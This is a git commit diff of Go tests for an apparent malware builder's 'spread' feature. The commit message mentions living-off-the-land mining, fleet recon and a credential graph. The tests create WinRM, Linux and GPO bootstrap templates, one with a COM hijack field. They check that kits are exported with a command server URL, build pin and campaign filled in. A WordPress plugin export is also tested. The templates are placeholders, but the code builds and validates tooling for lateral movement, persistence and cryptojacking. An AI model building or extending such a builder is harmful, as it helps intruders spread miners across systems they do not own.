Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -44,6 +44,30 @@ func writeSpreadTemplates(t *testing.T, root string) {
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
t.Fatal(err)
}
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
if err := os.MkdirAll(winrmDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
t.Fatal(err)
}
linuxDir := filepath.Join(root, "templates", "spread", "linux")
if err := os.MkdirAll(linuxDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
t.Fatal(err)
}
entDir := filepath.Join(root, "templates", "spread", "enterprise")
if err := os.MkdirAll(entDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
t.Fatal(err)
}
}
func readZipEntries(t *testing.T, body []byte) map[string]string {
@@ -155,6 +179,47 @@ func TestExportSpreadKitZIP(t *testing.T) {
}
}
func TestExportSpreadTemplateZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]interface{}{
"template": "winrm",
"server_url": "https://deck.example",
"build_id": "pin-9",
"campaign": "winrm-lab",
"com_hijack": true,
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") {
t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"])
}
if !strings.Contains(entries["bootstrap.ps1"], "COM=true") {
t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"])
}
}
func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)